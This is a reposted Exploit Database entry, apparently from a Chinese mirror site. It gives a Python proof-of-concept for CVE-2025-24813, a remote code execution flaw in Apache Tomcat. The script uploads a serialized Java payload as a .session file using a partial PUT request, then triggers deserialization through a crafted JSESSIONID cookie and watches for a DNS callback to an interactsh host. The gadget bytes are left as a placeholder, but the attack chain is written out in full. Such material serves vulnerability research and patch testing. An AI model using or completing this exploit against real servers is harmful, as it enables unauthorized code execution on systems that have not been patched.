Apache Tomcat 11.0.3 – Remote Code Execution

• Exploit Database
• 10 阅读

• 作者： Al Baradi Joy
  日期： 2025-04-07
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52134/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

  # Exploit Title: Apache Tomcat Path Equivalence - Remote Code Execution # Exploit Author: Al Baradi Joy # CVE: CVE-2025-24813 # Date: 2025-04-06 # Vendor Homepage: https://tomcat.apache.org/ # Software Link: https://tomcat.apache.org/download-90.cgi # Version: Apache Tomcat < 11.0.3 / 10.1.35 / 9.0.98 # Tested on: Apache Tomcat 10.1.33 # CVSS: 9.8 (CRITICAL) # CWE: CWE-44, CWE-502 # Reference: https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html   import requests import random import string import sys   def rand_filename(length=6): return &apos;&apos;.join(random.choices(string.ascii_lowercase, k=length))   def generate_payload(interact_url): # Java serialized payload gadget triggering DNS interaction return f&apos;\xac\xed\x00\x05...&apos;# Replace with actual gadget bytes or generator   def exploit(target, interact_url): filename = rand_filename() put_url = f"{target}/{filename}.session" get_url = f"{target}/{filename}" headers = { "Content-Range": "bytes 0-452/457", "Content-Type": "application/octet-stream" } payload = generate_payload(interact_url)   print("[+] Exploit for CVE-2025-24813") print("[+] Made By Al Baradi Joy\n") print(f"[+] Uploading payload to: {put_url}") r1 = requests.put(put_url, data=payload, headers=headers) if r1.status_code == 201: print("[+] Payload uploaded successfully.") else: print(f"[-] Upload failed with status: {r1.status_code}") return   print(f"[+] Triggering payload via: {get_url}") cookies = {"JSESSIONID": f".{filename}"} r2 = requests.get(get_url, cookies=cookies) print(f"[+] Trigger request sent. Check for DNS callback to: {interact_url}")   if __name__ == "__main__": # Display banner first print("[+] Exploit for CVE-2025-24813") print("[+] Made By Al Baradi Joy\n")   # Ask the user for the target domain and interact URL target_url = input("Enter the target domain (e.g., http://localhost:8080): ") interact_url = input("Enter your interactsh URL: ")   exploit(target_url, interact_url)